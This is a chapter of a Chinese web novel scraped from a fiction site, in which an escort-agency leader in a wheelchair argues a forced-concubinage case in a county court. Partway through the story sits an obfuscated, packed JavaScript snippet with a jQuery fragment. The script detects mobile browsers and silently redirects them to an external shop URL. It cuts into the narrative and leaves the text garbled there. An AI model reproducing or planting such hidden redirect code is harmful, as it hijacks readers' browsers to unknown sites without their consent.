文趣网 > 其他小说 > 大当家别抛弃我们世子啊 > 3. 一直在扰乱公堂
    话说那王家布行王鹫宅中,管家带着礼盒原封不动地滚回来了:“老爷,那徐县令不见客呀,他府上那侍卫人高马大的就把小人撵出来了!”

    “唉……也罢,”王鹫甩袖坐下,“这徐县令估摸着是个清官,他不见咱也不会见雨师言,那老姑婆的招儿在这个县令面前可没用了!”

    “那二爷的耳朵……”

    “哼,她会与官府告状,我难道不会?”王鹫一拍桌子,“我也告她恶意伤人,看她怎么办!”

    “那老姑婆,不过是与她要了几次折扣,她竟如此报复,真是小人!无奸不商!”某王姓布商骂道。

    升堂之日,晨光熹微。

    “想见徐县令?”衙役摆摆手,“你升堂时会见到他的。”

    还真是清官呢……雨师言嘀咕几句,便让杨巳娘推着走了。

    游隼拍拍翅膀,站在屋顶上。

    屠户夫妇到时看见雨师言已在衙门内等着了。

    “张大嫂,”雨师言放下茶杯笑笑,“一会儿我这女使可是进不去的,还要麻烦你推一推我。”

    “不麻烦不麻烦!咱们还没想到您真的来陪我们上公堂,感激还来不及呢……”

    张三月忙挽起袖子要给雨师言倒茶,雨师言只把那杯茶推给她了:“别客气,你们也喝点,衙门的可都是好茶。”

    齐鹤县衙公堂之上,“明镜高悬”金字匾额高高挂起,案后一幅海水见日图屏风被朝霞照得明亮。

    堂下两侧分列着手持水火棍的衙役神情肃穆:“威——武——”

    县令徐斐然头戴乌纱帽,身着深绿官袍,大步走到正座前坐下。

    惊堂木一落,徐斐然字正腔圆召道:“传原告、被告上堂!”

    轮椅吱呀吱呀碾进公堂,雨师言一身软翠色对襟长袍,青丝仅用一根木簪挽起,膝上盖着一张环带纹薄毯。

    张三月见了左右衙役,大气不敢出,史大柱便捏了捏她的肩头。

    王鹫眼帘半阖略显不耐,绫罗绸缎交相辉映,估计是把最贵的衣裳穿过来了。

    “堂下何人,报上名来。”徐斐然板着脸,扫视全场。

    雨师大善人教过的,史大柱、张三月纷纷报上名姓,而后便跪好。

    “草民雨师言,三年前守城时不慎伤了双腿,不能跪于堂下,还望县尊允准。”她抬手作揖。

    祉王清君侧时守住齐鹤这条粮道的镖师?竟是个女人……徐斐然微微颔首:“准。所告何事?”

    “言今日忝为状师,代屠户史大柱、张三月夫妇状告本县布商王鹫,告他——”

    她指向对面趾高气扬的王鹫:“光天化日之下略其女史芳娘为妾,恃强凌弱,强抢民女!”

    “强抢民女”四字一出,堂外围观的百姓顿时一阵骚动,窃窃私语。王鹫闻言重重哼了一声,一脸不屑。

    徐斐然目光落向被告:“王鹫,雨师言代史氏夫妇告你强抢其女史芳娘,可有此事?”

    “青天大老爷明鉴啊!”王鹫长跪拱手,声如洪钟,“这纯粹是污蔑!我与史家乃是明媒正娶、银货两讫,有纳妾文书为证!这雨师言仗着自己有几分功劳,便信口雌黄,坏我名声,请县尊明察!”

    史大柱目眦欲裂,忍不住上前一步却被衙役用水火棍拦住,只能张口唾骂道:“你放屁!什么明媒正娶!我们压根没答应!”

    “肃静!”深绿官袍县令再次一拍惊堂木,“史大柱,公堂之上不得喧哗!雨师言,你既为状师,便由你来陈述。”

    “是。”

    雨师言不看王鹫,只是不紧不慢地开口,声音清晰:“县尊容禀。依我《大庄律·户婚律》:‘凡男女婚配,须凭父母之命,媒妁之言,双方自愿,书立婚书。’方为合法。”①

    “敢问王老爷,”她此时才转头,“你所谓的‘纳妾文书’,可有女方父母签字画押?”

    王鹫一滞,随即强辩道:“我……我派人去说媒,留下了买妾银一百贯,文书是我签的,钱他们也收了,这便是默许!青天大老爷,他们如今又在此状告小人,定是嫌钱不够贪得无厌还想讹我一笔!”

    张三月听那恶人反咬一口,忍不住哭出声来:“县尊大人,冤枉啊……春分傍晚他确实派了个媒婆来,可那媒婆一开口就说王老爷要纳我家芳娘做小!”

    “我家虽然是杀猪的,”史大柱亦是愤愤道,“但女儿也是清清白白养大的,怎肯让她做妾?我们当时就一口回绝了,连口水都没给她喝,就把她赶出去了!”

    “谁知第二日,就冲进来一群人,丢下一百贯钱和一张纸,就把我女儿生拉硬拽地抢走了!”

    史大柱一时言辞激动唾沫横飞,雨师言适时咳嗽一声:“物证一百贯钱、单方签字画押的纳妾文书已随状子一同上交县衙,徐县令尽管查证。”

    “县尊大人,此事说大不大,也就是家事~”王鹫跪正了,态度放得诚恳些,“我年过四十,至今膝下无子——不孝有三,无后为大!我纳妾生子,以全孝道,何错之有?若是一百贯不够,我还能再加钱!”

    雨师言冷了脸,瞳仁转过:“王老爷莫觉得这世上什么事都可以用钱摆平,有些人就是再穷,也不会拿儿女换钱。”

    公堂之上气氛一时剑拔弩张。

    徐斐然看了师爷呈上来的物证,面向被告道:“王鹫,你还有何可辩驳?”

    王鹫见律法上辩不过,眼珠一转,忽然换了副面孔,嗤笑一声。

    王鹫侧身盯着轮椅上的雨师言:“雨师大当家,我劝你做人留一线日后好相见……”

    “我王鹫好歹也是齐鹤县数一数二的布商,每年走南闯北的货,少说要押几十趟。你海晏镖局上下几十口人,可都指望着兄弟们赏饭吃呢。齐鹤县可还有一个飞虎镖局,你今天为了一个杀猪的断了自家财路,这买卖……划算吗?”

    堂外的议论声更大了,所有人都看向雨师言。

    史大柱和张三月也面露担忧之色,毕竟雨师大当家也是要做生意的,万一她……

    不等雨师言开口,徐斐然刚要落惊堂木喊“肃静”,围观百姓中便传出一个吊儿郎当的少年音——

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769939|209867||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “我们飞虎镖局可不背这锅!你王鹫在海晏镖局胡搅蛮缠多少次了?雨师言倒了八辈子血霉才摊上你这么个老板,现在想我们接盘?你想得到美!”

    “我说雨师言怎么还没拔剑揍你呢,也就是雨师大善人现在拿坏腿换了好脾气,人善被人欺!”

    飞虎镖局少当家左叶繁语速之快,县尊都找不到空口落惊堂木。

    雨师言闭上眼揉了揉眉心,左家那少爷……每次她帮人打官司都要为了骂她而过来骂几句被告。

    “禀徐县令!”

    徐斐然的手离开惊堂木,有些无语:“雨师言,你还要说什么?”

    “不知方才王鹫的话您可听清楚了,”雨师言脸上笑意深了些,“他这是在以财货相要挟,公然在公堂之上试图干扰诉讼、阻挠草民依法代理。依《大庄律·杂律》,此乃‘扰乱公堂、威逼证佐’之罪,应责一十杖。”

    “本官听得一清二楚——”

    徐斐然板着脸扔出一片令签,掷地有声:“被告扰乱公堂,杖一十。”

    衙役立刻动手将王鹫抓起来,架到长板上便开始打。

    “诶诶诶——哎呦!”

    王鹫眼见真被打了才恍然大悟:“你不能打我!我可是……”

    “杖子落身上了还敢喋喋不休!”他又扔出一枚令签,“再加十杖!”

    “哎呦!”

    “哎呦——”

    别说百姓没见过县官当堂对富户行刑,雨师言也是抬袖掩唇略显惊讶——不应该是“本官念你是初犯,暂且记下。若再出言不逊,定不轻饶。”吗?

    “史大柱!张三月!你们可想清楚了!”

    王鹫脸上肥肉抖动,忍着痛嚎道:“你们的女儿史芳娘,现在可是好好地待在我王家的后院里!”

    “这案子就算你们赢了,她让你们接回去了,那也是王家的弃妇!日后整个齐鹤县,谁不知道她进了我王宅的门?清白已损,贞节有亏!谁还敢娶她?”

    “你们让她后半辈子怎么做人?谁会戳她的脊梁骨,你们难道想不到吗!”

    “现在撤诉,一百贯银子你们收好,女儿也能在我王家吃香喝辣。若是不知好歹……哼,你们就是把自己女儿往死路上逼!”

    王鹫这番话字字诛心。

    “夫君,他、他说的有道理啊……芳娘日后可怎么办啊?”张三月像是被抽走了所有力气,身子一软,一把抓住丈夫的手臂。

    史大柱额头青筋暴起,,猛地一跺脚怒吼道:“王鹫,闭上你的鸟嘴!雨师大当家不就是继承了家里的镖局?我告诉你,我就是让芳娘一辈子不嫁人、在家继承我那史家猪肉铺,也绝不便宜了你这个头顶长疮、脚底流脓的恶棍!”

    “张大嫂,”雨师言拍了拍张三月的肩,“要是就这么算了,才是真把女儿推进火坑。芳娘的名声没有坏,坏的是那混账自己。”

    “对!我史大柱的女儿,清清白白,我看谁敢乱嚼舌根!”史大柱指着挨打的王鹫斥道,“谁敢说,我就用这双杀猪的手打烂他的嘴!”